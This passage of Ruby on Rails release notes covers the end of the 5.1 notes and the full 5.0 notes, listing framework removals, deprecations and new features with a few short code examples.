  <input type="text" name="post[title]">
</form>

An existing model makes an update form and fills out field values:

  <%= form_with model: Post.first do |form| %>
  <%= form.text_field :title %>
<% end %>

<%# Will generate %>

<form action="/posts/1" method="post" data-remote="true">
  <input type="hidden" name="_method" value="patch">
  <input type="text" name="post[title]" value="<the title of the post>">
</form>

3 Incompatibilities

The following changes may require immediate action upon upgrade.

3.1 Transactional tests with multiple connections

Transactional tests now wrap all Active Record connections in database transactions.

When a test spawns additional threads, and those threads obtain database connections, those connections are now handled specially:

The threads will share a single connection, which is inside the managed transaction. This ensures all threads see the database in the same state, ignoring the outermost transaction. Previously, such additional connections were unable to see the fixture rows, for example.

When a thread enters a nested transaction, it will temporarily obtain exclusive use of the connection, to maintain isolation.

If your tests currently rely on obtaining a separate, outside-of-transaction, connection in a spawned thread, you'll need to switch to more explicit connection management.

If your tests spawn threads and those threads interact while also using explicit database transactions, this change may introduce a deadlock.

The easy way to opt-out of this new behavior is to disable transactional tests on any test cases it affects.

4 Railties

Please refer to the Changelog for detailed changes.

4.1 Removals

Remove deprecated config.static_cache_control. (commit)

Remove deprecated config.serve_static_files. (commit)

Remove deprecated file rails/rack/debugger. (commit)

Remove deprecated tasks: rails:update, rails:template, rails:template:copy, rails:update:configs and rails:update:bin. (commit)

Remove deprecated CONTROLLER environment variable for routes task. (commit)

Remove -j (--javascript) option from rails new command. (Pull Request)

4.2 Notable changes

Added a shared section to config/secrets.yml that will be loaded for all environments. (commit)

The config file config/secrets.yml is now loaded in with all keys as symbols. (Pull Request)

Removed jquery-rails from default stack. rails-ujs, which is shipped with Action View, is included as default UJS adapter. (Pull Request)

Add Yarn support in new apps with a yarn binstub and package.json. (Pull Request)

Add Webpack support in new apps via the --webpack option, which will delegate to the rails/webpacker gem. (Pull Request)

Initialize Git repo when generating new app, if option --skip-git is not provided. (Pull Request)

Add encrypted secrets in config/secrets.yml.enc. (Pull Request)

Display railtie class name in rails initializers. (Pull Request)

5 Action Cable

Please refer to the Changelog for detailed changes.

5.1 Notable changes

Added support for channel_prefix to Redis and evented Redis adapters in cable.yml to avoid name collisions when using the same Redis server with multiple applications. (Pull Request)

Add ActiveSupport::Notifications hook for broadcasting data. (Pull Request)

6 Action Pack

Please refer to the Changelog for detailed changes.

6.1 Removals

Removed support for non-keyword arguments in #process, #get, #post, #patch, #put, #delete, and #head for the ActionDispatch::IntegrationTest and ActionController::TestCase classes. (Commit, Commit)

Removed deprecated ActionDispatch::Callbacks.to_prepare and ActionDispatch::Callbacks.to_cleanup. (Commit)

Removed deprecated methods related to controller filters. (Commit)

Removed deprecated support to :text and :nothing in render. (Commit, Commit)

Removed deprecated support for calling HashWithIndifferentAccess methods on ActionController::Parameters. (Commit)

6.2 Deprecations

Deprecated config.action_controller.raise_on_unfiltered_parameters. It doesn't have any effect in Rails 5.1. (Commit)

6.3 Notable changes

Added the direct and resolve methods to the routing DSL. (Pull Request)

Added a new ActionDispatch::SystemTestCase class to write system tests in your applications. (Pull Request)

7 Action View

Please refer to the Changelog for detailed changes.

7.1 Removals

Removed deprecated #original_exception in ActionView::Template::Error. (commit)

Remove the option encode_special_chars misnomer from strip_tags. (Pull Request)

7.2 Deprecations

Deprecated Erubis ERB handler in favor of Erubi. (Pull Request)

7.3 Notable changes

Raw template handler (the default template handler in Rails 5) now outputs HTML-safe strings. (commit)

Change datetime_field and datetime_field_tag to generate datetime-local fields. (Pull Request)

New Builder-style syntax for HTML tags (tag.div, tag.br, etc.) (Pull Request)

Add form_with to unify form_tag and form_for usage. (Pull Request)

Add check_parameters option to current_page?. (Pull Request)

8 Action Mailer

Please refer to the Changelog for detailed changes.

8.1 Notable changes

Allowed setting custom content type when attachments are included and body is set inline. (Pull Request)

Allowed passing lambdas as values to the default method. (Commit)

Added support for parameterized invocation of mailers to share before filters and defaults between different mailer actions. (Commit)

Passed the incoming arguments to the mailer action to process.action_mailer event under an args key. (Pull Request)

9 Active Record

Please refer to the Changelog for detailed changes.

9.1 Removals

Removed support for passing arguments and block at the same time to ActiveRecord::QueryMethods#select. (Commit)

Removed deprecated activerecord.errors.messages.restrict_dependent_destroy.one and activerecord.errors.messages.restrict_dependent_destroy.many i18n scopes. (Commit)

Removed deprecated force-reload argument in singular and collection association readers. (Commit)

Removed deprecated support for passing a column to #quote. (Commit)

Removed deprecated name arguments from #tables. (Commit)

Removed deprecated behavior of #tables and #table_exists? to return tables and views to return only tables and not views. (Commit)

Removed deprecated original_exception argument in ActiveRecord::StatementInvalid#initialize and ActiveRecord::StatementInvalid#original_exception. (Commit)

Removed deprecated support of passing a class as a value in a query. (Commit)

Removed deprecated support to query using commas on LIMIT. (Commit)

Removed deprecated conditions parameter from #destroy_all. (Commit)

Removed deprecated conditions parameter from #delete_all. (Commit)

Removed deprecated method #load_schema_for in favor of #load_schema. (Commit)

Removed deprecated #raise_in_transactional_callbacks configuration. (Commit)

Removed deprecated #use_transactional_fixtures configuration. (Commit)

9.2 Deprecations

Deprecated error_on_ignored_order_or_limit flag in favor of error_on_ignored_order. (Commit)

Deprecated sanitize_conditions in favor of sanitize_sql. (Pull Request)

Deprecated supports_migrations? on connection adapters. (Pull Request)

Deprecated Migrator.schema_migrations_table_name, use SchemaMigration.table_name instead. (Pull Request)

Deprecated using #quoted_id in quoting and type casting. (Pull Request)

Deprecated passing default argument to #index_name_exists?. (Pull Request)

9.3 Notable changes

Change Default Primary Keys to BIGINT. (Pull Request)

Virtual/generated column support for MySQL 5.7.5+ and MariaDB 5.2.0+. (Commit)

Added support for limits in batch processing. (Commit)

Transactional tests now wrap all Active Record connections in database transactions. (Pull Request)

Skipped comments in the output of mysqldump command by default. (Pull Request)

Fixed ActiveRecord::Relation#count to use Ruby's Enumerable#count for counting records when a block is passed as argument instead of silently ignoring the passed block. (Pull Request)

Pass "-v ON_ERROR_STOP=1" flag with psql command to not suppress SQL errors. (Pull Request)

Add ActiveRecord::Base.connection_pool.stat. (Pull Request)

Inheriting directly from ActiveRecord::Migration raises an error. Specify the Rails version for which the migration was written for. (Commit)

An error is raised when through association has ambiguous reflection name. (Commit)

10 Active Model

Please refer to the Changelog for detailed changes.

10.1 Removals

Removed deprecated methods in ActiveModel::Errors. (commit)

Removed deprecated :tokenizer option in the length validator. (commit)

Remove deprecated behavior that halts callbacks when the return value is false. (commit)

10.2 Notable changes

The original string assigned to a model attribute is no longer incorrectly frozen. (Pull Request)

11 Active Job

Please refer to the Changelog for detailed changes.

11.1 Removals

Removed deprecated support to passing the adapter class to .queue_adapter. (commit)

Removed deprecated #original_exception in ActiveJob::DeserializationError. (commit)

11.2 Notable changes

Added declarative exception handling via ActiveJob::Base.retry_on and ActiveJob::Base.discard_on. (Pull Request)

Yield the job instance so you have access to things like job.arguments on the custom logic after retries fail. (commit)

12 Active Support

Please refer to the Changelog for detailed changes.

12.1 Removals

Removed the ActiveSupport::Concurrency::Latch class. (Commit)

Removed halt_callback_chains_on_return_false. (Commit)

Removed deprecated behavior that halts callbacks when the return is false. (Commit)

12.2 Deprecations

The top level HashWithIndifferentAccess class has been softly deprecated in favor of the ActiveSupport::HashWithIndifferentAccess one. (Pull Request)

Deprecated passing string to :if and :unless conditional options on set_callback and skip_callback. (Commit)

12.3 Notable changes

Fixed duration parsing and traveling to make it consistent across DST changes. (Commit, Pull Request)

Updated Unicode to version 9.0.0. (Pull Request)

Add Duration#before and #after as aliases for #ago and #since. (Pull Request)

Added Module#delegate_missing_to to delegate method calls not defined for the current object to a proxy object. (Pull Request)

Added Date#all_day which returns a range representing the whole day of the current date & time. (Pull Request)

Introduced the assert_changes and assert_no_changes methods for tests. (Pull Request)

The travel and travel_to methods now raise on nested calls. (Pull Request)

Update DateTime#change to support usec and nsec. (Pull Request)

13 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 5.0 Release Notes

Highlights in Rails 5.0:

Action Cable

Rails API

Active Record Attributes API

Test Runner

Exclusive use of rails CLI over Rake

Sprockets 3

Turbolinks 5

Ruby 2.2.2+ required

These release notes cover only the major changes. To learn about various bug fixes and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 5.0

Major Features

Action Cable

API Applications

Active Record attributes API

Test Runner

Railties

Removals

Deprecations

Notable changes

Action Pack

Removals

Deprecations

Notable changes

Action View

Removals

Notable Changes

Action Mailer

Removals

Notable changes

Active Record

Removals

Deprecations

Notable changes

Active Model

Removals

Deprecations

Notable changes

Active Job

Notable changes

Active Support

Removals

Deprecations

Notable changes

Credits

1 Upgrading to Rails 5.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 5.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Action Cable

Action Cable is a new framework in Rails 5. It seamlessly integrates WebSockets with the rest of your Rails application.

Action Cable allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application, while still being performant and scalable. It's a full-stack offering that provides both a client-side JavaScript framework and a server-side Ruby framework. You have access to your full domain model written with Active Record or your ORM of choice.

See the Action Cable Overview guide for more information.

2.2 API Applications

Rails can now be used to create slimmed down API only applications. This is useful for creating and serving APIs similar to Twitter or GitHub API, that can be used to serve public-facing, as well as, for custom applications.

You can generate a new api Rails app using:

  $ rails new my_api --api

This will do three main things:

Configure your application to start with a more limited set of middleware than normal. Specifically, it will not include any middleware primarily useful for browser applications (like cookies support) by default.

Make ApplicationController inherit from ActionController::API instead of ActionController::Base. As with middleware, this will leave out any Action Controller modules that provide functionalities primarily used by browser applications.

Configure the generators to skip generating views, helpers, and assets when you generate a new resource.

The application provides a base for APIs, that can then be configured to pull in functionality as suitable for the application's needs.

See the Using Rails for API-only Applications guide for more information.

2.3 Active Record attributes API

Defines an attribute with a type on a model. It will override the type of existing attributes if needed. This allows control over how values are converted to and from SQL when assigned to a model. It also changes the behavior of values passed to ActiveRecord::Base.where, which let's use our domain objects across much of Active Record, without having to rely on implementation details or monkey patching.

Some things that you can achieve with this:

The type detected by Active Record can be overridden.

A default can also be provided.

Attributes do not need to be backed by a database column.

  # db/schema.rb
create_table :store_listings, force: true do |t|
  t.decimal :price_in_cents
  t.string :my_string, default: "original default"
end

  # app/models/store_listing.rb
class StoreListing < ActiveRecord::Base
end

  store_listing = StoreListing.new(price_in_cents: '10.1')

# before
store_listing.price_in_cents # => BigDecimal.new(10.1)
StoreListing.new.my_string # => "original default"

class StoreListing < ActiveRecord::Base
  attribute :price_in_cents, :integer # custom type
  attribute :my_string, :string, default: "new default" # default value
  attribute :my_default_proc, :datetime, default: -> { Time.now } # default value
  attribute :field_without_db_column, :integer, array: true
end

# after
store_listing.price_in_cents # => 10
StoreListing.new.my_string # => "new default"
StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600
model = StoreListing.new(field_without_db_column: ["1", "2", "3"])
model.attributes # => {field_without_db_column: [1, 2, 3]}

Creating Custom Types:

You can define your own custom types, as long as they respond to the methods defined on the value type. The method deserialize or cast will be called on your type object, with raw input from the database or from your controllers. This is useful, for example, when doing custom conversion, like Money data.

Querying:

When ActiveRecord::Base.where is called, it will use the type defined by the model class to convert the value to SQL, calling serialize on your type object.

This gives the objects ability to specify, how to convert values when performing SQL queries.

Dirty Tracking:

The type of an attribute is allowed to change how dirty tracking is performed.

See its documentation for a detailed write up.

2.4 Test Runner

A new test runner has been introduced to enhance the capabilities of running tests from Rails. To use this test runner simply type bin/rails test.

Test Runner is inspired by RSpec, minitest-reporters, maxitest and others. It includes some of these notable advancements:

Run a single test using line number of test.

Run multiple tests pinpointing to line number of tests.

Improved failure messages, which also add ease of re-running failed tests.

Fail fast using -f option, to stop tests immediately on occurrence of failure, instead of waiting for the suite to complete.

Defer test output until the end of a full test run using the -d option.

Complete exception backtrace output using -b option.

Integration with minitest to allow options like -s for test seed data, -n for running specific test by name, -v for better verbose output and so forth.

Colored test output.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

Removed debugger support, use byebug instead. debugger is not supported by Ruby 2.2. (commit)

Removed deprecated test:all and test:all:db tasks. (commit)

Removed deprecated Rails::Rack::LogTailer. (commit)

Removed deprecated RAILS_CACHE constant. (commit)

Removed deprecated serve_static_assets configuration. (commit)

Removed the documentation tasks doc:app, doc:rails, and doc:guides. (commit)

Removed Rack::ContentLength middleware from the default stack. (Commit)

3.2 Deprecations

Deprecated config.static_cache_control in favor of config.public_file_server.headers. (Pull Request)

Deprecated config.serve_static_files in favor of config.public_file_server.enabled. (Pull Request)

Deprecated the tasks in the rails task namespace in favor of the app namespace. (e.g. rails:update and rails:template tasks are renamed to app:update and app:template.) (Pull Request)

3.3 Notable changes

Added Rails test runner bin/rails test. (Pull Request)

Newly generated applications and plugins get a README.md in Markdown. (commit, Pull Request)

Added bin/rails restart task to restart your Rails app by touching tmp/restart.txt. (Pull Request)

Added bin/rails initializers task to print out all defined initializers in the order they are invoked by Rails. (Pull Request)

Added bin/rails dev:cache to enable or disable caching in development mode. (Pull Request)

Added bin/update script to update the development environment automatically. (Pull Request)

Proxy Rake tasks through bin/rails. (Pull Request, Pull Request)

New applications are generated with the evented file system monitor enabled on Linux and macOS. The feature can be opted out by passing --skip-listen to the generator. (commit, commit)

Generate applications with an option to log to STDOUT in production using the environment variable RAILS_LOG_TO_STDOUT. (Pull Request)

Enable HSTS with IncludeSubdomains header for new applications. (Pull Request)

The application generator writes a new file config/spring.rb, which tells Spring to watch additional common files. (commit)

Added --skip-action-mailer to skip Action Mailer while generating new app. (Pull Request)

Removed tmp/sessions directory and the clear rake task associated with it. (Pull Request)

Changed _form.html.erb generated by scaffold generator to use local variables. (Pull Request)

Disabled autoloading of classes in production environment. (commit)

4 Action Pack

Please refer to the Changelog for detailed changes.

4.1 Removals

Removed ActionDispatch::Request::Utils.deep_munge. (commit)

Removed ActionController::HideActions. (Pull Request)

Removed respond_to and respond_with placeholder methods, this functionality has been extracted to the responders gem. (commit)

Removed deprecated assertion files. (commit)

Removed deprecated usage of string keys in URL helpers. (commit)

Removed deprecated only_path option on *_path helpers. (commit)

Removed deprecated NamedRouteCollection#helpers. (commit)

Removed deprecated support to define routes with :to option that doesn't contain #. (commit)

Removed deprecated ActionDispatch::Response#to_ary. (commit)

Removed deprecated ActionDispatch::Request#deep_munge. (commit)

Removed deprecated ActionDispatch::Http::Parameters#symbolized_path_parameters. (commit)

Removed deprecated option use_route in controller tests. (commit)

Removed assigns and assert_template. Both methods have been extracted into the rails-controller-testing gem. (Pull Request)

4.2 Deprecations

Deprecated all *_filter callbacks in favor of *_action callbacks. (Pull Request)

Deprecated *_via_redirect integration test methods. Use follow_redirect! manually after the request call for the same behavior. (Pull Request)

Deprecated AbstractController#skip_action_callback in favor of individual skip_callback methods. (Pull Request)

Deprecated :nothing option for render method. (Pull Request)

Deprecated passing first parameter as Hash and default status code for head method. (Pull Request)

Deprecated using strings or symbols for middleware class names. Use class names instead. (commit)

Deprecated accessing mime types via constants (e.g. Mime::HTML). Use the subscript operator with a symbol instead (e.g. Mime[:html]). (Pull Request)

Deprecated redirect_to :back in favor of redirect_back, which accepts a required fallback_location argument, thus eliminating the possibility of a RedirectBackError. (Pull Request)

ActionDispatch::IntegrationTest and ActionController::TestCase deprecate positional arguments in favor of keyword arguments. (Pull Request)

Deprecated :controller and :action path parameters. (Pull Request)

Deprecated env method on controller instances. (commit)

ActionDispatch::ParamsParser is deprecated and was removed from the middleware stack. To configure the parameter parsers use ActionDispatch::Request.parameter_parsers=. (commit, commit)

4.3 Notable changes

Added ActionController::Renderer to render arbitrary templates outside controller actions. (Pull Request)

Migrating to keyword arguments syntax in ActionController::TestCase and ActionDispatch::Integration HTTP request methods. (Pull Request)

Added http_cache_forever to Action Controller, so we can cache a response that never gets expired. (Pull Request)

Provide friendlier access to request variants. (Pull Request)

For actions with no corresponding templates, render head :no_content instead of raising an error. (Pull Request)

Added the ability to override default form builder for a controller. (Pull Request)

Added support for API-only apps. ActionController::API is added as a replacement of ActionController::Base for this kind of applications. (Pull Request)

Make ActionController::Parameters no longer inherits from HashWithIndifferentAccess. (Pull Request)

Make it easier to opt in to config.force_ssl and config.ssl_options by making them less dangerous to try and easier to disable. (Pull Request)

Added the ability of returning arbitrary headers to ActionDispatch::Static. (Pull Request)

Changed the protect_from_forgery prepend default to false. (commit)

ActionController::TestCase will be moved to its own gem in Rails 5.1. Use ActionDispatch::IntegrationTest instead. (commit)

Rails generates weak ETags by default. (Pull Request)

Controller actions without an explicit render call and with no corresponding templates will render head :no_content implicitly instead of raising an error. (Pull Request 1, 2)

Added an option for per-form CSRF tokens. (Pull Request)

Added request encoding and response parsing to integration tests. (Pull Request)

Add ActionController#helpers to get access to the view context at the controller level. (Pull Request)

Discarded flash messages get removed before storing into session. (Pull Request)

Added support for passing collection of records to fresh_when and stale?. (Pull Request)

ActionController::Live became an ActiveSupport::Concern. That means it can't be just included in other modules without extending them with ActiveSupport::Concern or ActionController::Live won't take effect in production. Some people may be using another module to include some special Warden/Devise authentication failure handling code as well since the middleware can't catch a :warden thrown by a spawned thread which is the case when using ActionController::Live. (More details in this issue)

Introduce Response#strong_etag= and #weak_etag= and analogous options for fresh_when and stale?. (Pull Request)

5 Action View

Please refer to the Changelog for detailed changes.

5.1 Removals

Removed deprecated AbstractController::Base::parent_prefixes. (commit)

Removed ActionView::Helpers::RecordTagHelper, this functionality has been extracted to the record_tag_helper gem. (Pull Request)

Removed :rescue_format option for translate helper since it's no longer supported by I18n. (Pull Request)

5.2 Notable Changes

Changed the default template handler from ERB to Raw. (commit)

Collection rendering can cache and fetches multiple partials at once. (Pull Request, commit)

Added wildcard matching to explicit dependencies. (Pull Request)

Make disable_with the default behavior for submit tags. Disables the button on submit to prevent double submits. (Pull Request)

Partial template name no longer has to be a valid Ruby identifier. (commit)

The datetime_tag helper now generates an input tag with the type of datetime-local. (Pull Request)

Allow blocks while rendering with the render partial: helper. (Pull Request)

6 Action Mailer

Please refer to the Changelog for detailed changes.

6.1 Removals

Removed deprecated *_path helpers in email views. (commit)

Removed deprecated deliver and deliver! methods. (commit)

6.2 Notable changes

Template lookup now respects default locale and I18n fallbacks. (commit)

Added _mailer suffix to mailers created via generator, following the same naming convention used in controllers and jobs. (Pull Request)

Added assert_enqueued_emails and assert_no_enqueued_emails. (Pull Request)

Added config.action_mailer.deliver_later_queue_name configuration to set the mailer queue name. (Pull Request)

Added support for fragment caching in Action Mailer views. Added new config option config.action_mailer.perform_caching to determine whether your templates should perform caching or not. (Pull Request)

7 Active Record

Please refer to the Changelog for detailed changes.

7.1 Removals

Removed deprecated behavior allowing nested arrays to be passed as query values. (Pull Request)

Removed deprecated ActiveRecord::Tasks::DatabaseTasks#load_schema. This method was replaced by ActiveRecord::Tasks::DatabaseTasks#load_schema_for. (commit)

Removed deprecated serialized_attributes. (commit)

Removed deprecated automatic counter caches on has_many :through. (commit)

Removed deprecated sanitize_sql_hash_for_conditions. (commit)

Removed deprecated Reflection#source_macro. (commit)

Removed deprecated symbolized_base_class and symbolized_sti_name. (commit)

Removed deprecated ActiveRecord::Base.disable_implicit_join_references=. (commit)

Removed deprecated access to connection specification using a string accessor. (commit)

Removed deprecated support to preload instance-dependent associations. (commit)

Removed deprecated support for PostgreSQL ranges with exclusive lower bounds. (commit)

Removed deprecation when modifying a relation with cached Arel. This raises an ImmutableRelation error instead. (commit)

Removed ActiveRecord::Serialization::XmlSerializer from core. This feature has been extracted into the activemodel-serializers-xml gem. (Pull Request)

Removed support for the legacy mysql database adapter from core. Most users should be able to use mysql2. It will be converted to a separate gem when we find someone to maintain it. (Pull Request 1, Pull Request 2)

Removed support for the protected_attributes gem. (commit)

Removed support for PostgreSQL versions below 9.1. (Pull Request)

Removed support for activerecord-deprecated_finders gem. (commit)

Removed ActiveRecord::ConnectionAdapters::Column::TRUE_VALUES constant. (commit)

7.2 Deprecations

Deprecated passing a class as a value in a query. Users should pass strings instead. (Pull Request)

Deprecated returning false as a way to halt Active Record callback chains. The recommended way is to throw(:abort). (Pull Request)

Deprecated ActiveRecord::Base.errors_in_transactional_callbacks=. (commit)

Deprecated Relation#uniq use Relation#distinct instead. (commit)

Deprecated the PostgreSQL :point type in favor of a new one which will return Point objects instead of an Array (Pull Request)

Deprecated force association reload by passing a truthy argument to association method. (Pull Request)

Deprecated the keys for association restrict_dependent_destroy errors in favor of new key names. (Pull Request)

Synchronize behavior of #tables. (Pull Request)

Deprecated SchemaCache#tables, SchemaCache#table_exists? and SchemaCache#clear_table_cache! in favor of their new data source counterparts. (Pull Request)

Deprecated connection.tables on the SQLite3 and MySQL adapters. (Pull Request)

Deprecated passing arguments to #tables - the #tables method of some adapters (mysql2, sqlite3) would return both tables and views while others (postgresql) just return tables. To make their behavior consistent, #tables will return only tables in the future. (Pull Request)

Deprecated table_exists? - The #table_exists? method would check both tables and views. To make their behavior consistent with #tables, #table_exists? will check only tables in the future. (Pull Request)

Deprecate sending the offset argument to find_nth. Please use the offset method on relation instead. (Pull Request)

Deprecated {insert|update|delete}_sql in DatabaseStatements. Use the {insert|update|delete} public methods instead. (Pull Request)

Deprecated use_transactional_fixtures in favor of use_transactional_tests for more clarity. (Pull Request)

Deprecated passing a column to ActiveRecord::Connection#quote. (commit)

Added an option end to find_in_batches that complements the start parameter to specify where to stop batch processing. (Pull Request)

7.3 Notable changes

Added a foreign_key option to references while creating the table. (commit)

New attributes API. (commit)

Added :_prefix/:_suffix option to enum definition. (Pull Request, Pull Request)

Added #cache_key to ActiveRecord::Relation. (Pull Request)

Changed the default null value for timestamps to false. (commit)

Added ActiveRecord::SecureToken in order to encapsulate generation of unique tokens for attributes in a model using SecureRandom. (Pull Request)

Added :if_exists option for drop_table. (Pull Request)

Added ActiveRecord::Base#accessed_fields, which can be used to quickly discover which fields were read from a model when you are looking to only select the data you need from the database. (commit)

Added the #or method on ActiveRecord::Relation, allowing use of the OR operator to combine WHERE or HAVING clauses. (commit)

Added ActiveRecord::Base.suppress to prevent the receiver from being saved during the given block. (Pull Request)

belongs_to will now trigger a validation error by default if the association is not present. You can turn this off on a per-association basis with optional: true. Also deprecate required option in favor of optional for belongs_to. (Pull Request)

Added config.active_record.dump_schemas to configure the behavior of db:structure:dump. (Pull Request)

Added config.active_record.warn_on_records_fetched_greater_than option. (Pull Request)

Added a native JSON data type support in MySQL. (Pull Request)

Added support for dropping indexes concurrently in PostgreSQL. (Pull Request)

Added #views and #view_exists? methods on connection adapters. (Pull Request)

Added ActiveRecord::Base.ignored_columns to make some columns invisible from Active Record. (Pull Request)

Added connection.data_sources and connection.data_source_exists?. These methods determine what relations can be used to back Active Record models (usually tables and views). (Pull Request)

Allow fixtures files to set the model class in the YAML file itself. (Pull Request)

Added ability to default to uuid as primary key when generating database migrations. (Pull Request)

Added ActiveRecord::Relation#left_joins and ActiveRecord::Relation#left_outer_joins. (Pull Request)

Added after_{create,update,delete}_commit callbacks. (Pull Request)

Version the API presented to migration classes, so we can change parameter defaults without breaking existing migrations, or forcing them to be rewritten through a deprecation cycle. (Pull Request)

ApplicationRecord is a new superclass for all app models, analogous to app controllers subclassing ApplicationController instead of ActionController::Base. This gives apps a single spot to configure app-wide model behavior. (Pull Request)

Added ActiveRecord #second_to_last and #third_to_last methods. (Pull Request)

Added ability to annotate database objects (tables, columns, indexes) with comments stored in database metadata for PostgreSQL & MySQL. (Pull Request)

Added prepared statements support to mysql2 adapter, for mysql2 0.4.4+, Previously this was only supported on the deprecated mysql legacy adapter. To enable, set prepared_statements: true in config/database.yml. (Pull Request)

Added ability to call ActionRecord::Relation#update on relation objects which will run validations on callbacks on all objects in the relation. (Pull Request)

Added :touch option to the save method so that records can be saved without updating timestamps. (Pull Request)

Added expression indexes and operator classes support for PostgreSQL. (commit)

Added :index_errors option to add indexes to errors of nested attributes. (Pull Request)

Added support for bidirectional destroy dependencies. (Pull Request)

Added support for after_commit callbacks in transactional tests. (Pull Request)

Added foreign_key_exists? method to see if a foreign key exists on a table or not. (Pull Request)

Added :time option to touch method to touch records with different time than the current time. (Pull Request)

Change transaction callbacks to not swallow errors. Before this change any errors raised inside a transaction callback were getting rescued and printed in the logs, unless you used the (newly deprecated) raise_in_transactional_callbacks = true option.

Now these errors are not rescued anymore and just bubble up, matching the behavior of other callbacks. (commit)

8 Active Model

Please refer to the Changelog for detailed changes.

8.1 Removals

Removed deprecated ActiveModel::Dirty#reset_#{attribute} and ActiveModel::Dirty#reset_changes. (Pull Request)

Removed XML serialization. This feature has been extracted into the activemodel-serializers-xml gem. (Pull Request)

Removed ActionController::ModelNaming module. (Pull Request)

8.2 Deprecations

Deprecated returning false as a way to halt Active Model and ActiveModel::Validations callback chains. The recommended way is to throw(:abort). (Pull Request)

Deprecated ActiveModel::Errors#get, ActiveModel::Errors#set and ActiveModel::Errors#[]= methods that have inconsistent behavior. (Pull Request)

Deprecated the :tokenizer option for validates_length_of, in favor of plain Ruby. (Pull Request)

Deprecated ActiveModel::Errors#add_on_empty and ActiveModel::Errors#add_on_blank with no replacement. (Pull Request)

8.3 Notable changes

Added ActiveModel::Errors#details to determine what validator has failed. (Pull Request)

Extracted ActiveRecord::AttributeAssignment to ActiveModel::AttributeAssignment allowing to use it for any object as an includable module. (Pull Request)

Added ActiveModel::Dirty#[attr_name]_previously_changed? and ActiveModel::Dirty#[attr_name]_previous_change to improve access to recorded changes after the model has been saved. (Pull Request)

Validate multiple contexts on valid? and invalid? at once. (Pull Request)

Change validates_acceptance_of to accept true as default value apart from 1. (Pull Request)

9 Active Job

Please refer to the Changelog for detailed changes.

9.1 Notable changes

ActiveJob::Base.deserialize delegates to the job class. This allows jobs to attach arbitrary metadata when they get serialized and read it back when they get performed. (Pull Request)

Add ability to configure the queue adapter on a per job basis without affecting each other. (Pull Request)

A generated job now inherits from app/jobs/application_job.rb by default. (Pull Request)

Allow DelayedJob, Sidekiq, qu, que, and queue_classic to report the job id back to ActiveJob::Base as provider_job_id. (Pull Request, Pull Request, commit)

Implement a simple AsyncJob processor and associated AsyncAdapter that queue jobs to a concurrent-ruby thread pool. (Pull Request)

Change the default adapter from inline to async. It's a better default as tests will then not mistakenly come to rely on behavior happening synchronously. (commit)

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

Removed deprecated ActiveSupport::JSON::Encoding::CircularReferenceError. (commit)

Removed deprecated methods ActiveSupport::JSON::Encoding.encode_big_decimal_as_string= and ActiveSupport::JSON::Encoding.encode_big_decimal_as_string. (commit)

Removed deprecated ActiveSupport::SafeBuffer#prepend. (commit)

Removed deprecated methods from Kernel. silence_stderr, silence_stream, capture and quietly. (commit)

Removed deprecated active_support/core_ext/big_decimal/yaml_conversions file. (commit)

Removed deprecated methods ActiveSupport::Cache::Store.instrument and ActiveSupport::Cache::Store.instrument=. (commit)

Removed deprecated Class#superclass_delegating_accessor. Use Class#class_attribute instead. (Pull Request)

Removed deprecated ThreadSafe::Cache. Use Concurrent::Map instead. (Pull Request)

Removed Object#itself as it is implemented in Ruby 2.2. (Pull Request)

10.2 Deprecations

Deprecated MissingSourceFile in favor of LoadError. (commit)

Deprecated alias_method_chain in favour of Module#prepend introduced in Ruby 2.0. (Pull Request)

Deprecated ActiveSupport::Concurrency::Latch in favor of Concurrent::CountDownLatch from concurrent-ruby. (Pull Request)

Deprecated :prefix option of number_to_human_size with no replacement. (Pull Request)

Deprecated Module#qualified_const_ in favour of the builtin Module#const_ methods. (Pull Request)

Deprecated passing string to define callback. (Pull Request)

Deprecated ActiveSupport::Cache::Store#namespaced_key, ActiveSupport::Cache::MemCachedStore#escape_key, and ActiveSupport::Cache::FileStore#key_file_path. Use normalize_key instead. (Pull Request, commit)

Deprecated ActiveSupport::Cache::LocaleCache#set_cache_value in favor of write_cache_value. (Pull Request)

Deprecated passing arguments to assert_nothing_raised. (Pull Request)

Deprecated Module.local_constants in favor of Module.constants(false). (Pull Request)

10.3 Notable changes

Added #verified and #valid_message? methods to ActiveSupport::MessageVerifier. (Pull Request)

Changed the way in which callback chains can be halted. The preferred method to halt a callback chain from now on is to explicitly throw(:abort). (Pull Request)

New config option config.active_support.halt_callback_chains_on_return_false to specify whether ActiveRecord, ActiveModel, and ActiveModel::Validations callback chains can be halted by returning false in a 'before' callback. (Pull Request)

Changed the default test order from :sorted to :random. (commit)

Added #on_weekend?, #on_weekday?, #next_weekday, #prev_weekday methods to Date, Time, and DateTime. (Pull Request, Pull Request)

Added same_time option to #next_week and #prev_week for Date, Time, and DateTime. (Pull Request)

Added #prev_day and #next_day counterparts to #yesterday and #tomorrow for Date, Time, and DateTime. (Pull Request)

Added SecureRandom.base58 for generation of random base58 strings. (commit)

Added file_fixture to ActiveSupport::TestCase. It provides a simple mechanism to access sample files in your test cases. (Pull Request)

Added #without on Enumerable and Array to return a copy of an enumerable without the specified elements. (Pull Request)

Added ActiveSupport::ArrayInquirer and Array#inquiry. (Pull Request)

Added ActiveSupport::TimeZone#strptime to allow parsing times as if from a given timezone. (commit)

Added Integer#positive? and Integer#negative? query methods in the vein of Integer#zero?. (commit)

Added a bang version to ActiveSupport::OrderedOptions get methods which will raise an KeyError if the value is .blank?. (Pull Request)

Added Time.days_in_year to return the number of days in the given year, or the current year if no argument is provided. (commit)

Added an evented file watcher to asynchronously detect changes in the application source code, routes, locales, etc. (Pull Request)

Added thread_m/cattr_accessor/reader/writer suite of methods for declaring class and module variables that live per-thread. (Pull Request)

Added Array#second_to_last and Array#third_to_last methods. (Pull Request)

Publish ActiveSupport::Executor and ActiveSupport::Reloader APIs to allow components and libraries to manage, and participate in, the execution of application code, and the application reloading process. (Pull Request)

